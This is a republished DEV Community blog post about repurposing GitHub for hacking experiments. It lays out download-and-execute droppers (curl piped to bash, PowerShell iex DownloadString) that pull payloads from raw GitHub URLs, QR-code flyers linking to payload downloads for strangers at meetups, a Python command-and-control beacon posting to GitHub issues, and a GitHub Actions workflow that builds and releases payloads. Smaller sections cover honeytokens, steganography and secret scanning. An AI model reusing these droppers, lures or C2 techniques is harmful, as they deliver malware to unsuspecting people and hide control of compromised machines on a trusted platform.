This content originally appeared on DEV Community and was authored by GnomeMan4201
Introduction
If there’s one thing I’ve figured out, it’s this: the minute you start thinking you’re the smartest person in the room, you’re probably about to get blindsided. There’s always someone who sees things from an angle you never considered. I try to approach everything with curiosity instead of ego because most of my best discoveries have come from admitting what I didn’t know and keeping my eyes open for what I might find.
GitHub started out for me as just a place to share scripts and tinker with ideas. But over time, I realized it’s more than a tool it’s a playground for experiments, a blank canvas for odd ideas, and a perfect place to push at the edges of what’s possible.
Seeing GitHub With Different Eyes
I’m not an expert. I just like to experiment, break things, and see how platforms behave when used in ways nobody expected.
A lot of people see GitHub as a place for open-source collaboration. For me, it turned into a weird, creative outlet for exploring the intersection between coding, hacking, and digital mischief and as an artistic outlet.
Some of the things I noticed along the way:
GitHub Pages isn’t just for simple websites you can host almost anything there, from redirectors to payloads and even interactive CTF challenges.
Gists and issues can be repurposed into covert message boards, signaling channels, or even ad-hoc command and control networks.
Automation and uploads are easy to script, meaning you can set up workflows, drop files, or even quietly track who’s poking around your repos.
What I’ve Tried (and Learned)
Most of my projects and experiments started out as questions:
Can I use GitHub as a C2 server?
Can I distribute payloads just by posting QR codes somewhere public?
Can I track curious eyes or create a trail of breadcrumbs for people who know where to look?
Some of my experiments and concrete workflow examples:
Payload Hosting via GitHub
Serve any file using raw.githubusercontent.com:
curl -O https://raw.githubusercontent.com///main/payload.sh
Automate the delivery with PowerShell or bash droppers that always pull the latest script:
bash <(curl -s https://raw.githubusercontent.com///main/install.sh)
Or in PowerShell:
iex (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com///main/payload.ps1′)
QR Code Payload Distribution
I started experimenting with QR codes linking to raw GitHub files or GitHub Pages.
Generate a QR code (Linux):
qrencode -o flyer.png ‘https://github.com///releases/latest/download/payload.zip’
Or for a web landing page:
qrencode -o flyer.png ‘https://.github.io//’
Distribute these at meetups, on stickers, or digitally see who visits or downloads.
Tracking File Access (Honeytokens/Canaries)
Plant decoy files in public repos:
secrets.json
flag.txt
admin_backup.zip
Track access/downloads with GitHub’s traffic insights or set up simple webhooks.
Or monitor for clones and fetches via the GitHub API:
import requests
repo = “username/repo”
r = requests.get(
f’https://api.github.com/repos/{repo}/traffic/clones‘,
headers={‘Authorization’: ‘token ‘}
)
print(r.json())
Command-and-Control (C2) Signaling With Issues & Gists
Use the GitHub API to post signals:
import requests
def send_beacon(repo, msg, token):
url = f”https://api.github.com/repos/{repo}/issues“
data = {“title”: “beacon”, “body”: msg}
headers = {“Authorization”: f”token {token}”}
requests.post(url, json=data, headers=headers)
Bots can poll the repo for new issues or comments as a way to send/receive instructions.
Automation & Continuous Delivery
Set up a GitHub Action to build, obfuscate, or deploy payloads:
.github/workflows/build.yml
name: Build & Release
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
– uses: actions/checkout@v4
– name: Build Payload
run: ./build_payload.sh
– name: Upload Release
uses: actions/upload-release-asset@v1
with:
upload_url: ${{ github.event.release.upload_url }}
asset_path: ./payload.bin
asset_name: payload.bin
asset_content_type: application/octet-stream
Metadata & Steganography Tinkering
Experiment with hiding information or versioning clues in repo art.
Add metadata to an image:
exiftool -Comment=”Nothing is what it seems.” octocat.png
Hide a message in an image (using Python):
from stegano import lsb
secret_img = lsb.hide(“octocat.png”, “The real payload is elsewhere”)
secret_img.save(“octocat_stego.png”)
Scanning for Secrets and Sensitive Artifacts
Tools like truffleHog and Gitleaks can hunt for hardcoded secrets, keys, or suspicious files.
Scan a repo for secrets:
trufflehog git https://github.com//
gitleaks detect –source .
The Octocat (and Everything Else) Isn’t What It Seems
Over time, it became obvious that almost everything in this ecosystem has layers,mascots, platforms, even simple posts like this one. What starts out as one thing is always being reimagined for a different purpose.
The Octocat is a perfect metaphor: part cat, part octopus, always just a bit of a mystery. I try to approach platforms with the same mindset curious, flexible, and never assuming I have all the answers.
Why Bother? (And Why Keep Sharing?)
I keep building and sharing these projects mostly for the fun and satisfaction of figuring things out. There’s something rewarding about discovering tricks for yourself, even if others have done it before. Sometimes, the most interesting workflows are the ones nobody told you about.
thank you for taking the time to read
This content originally appeared on DEV Community and was authored by GnomeMan4201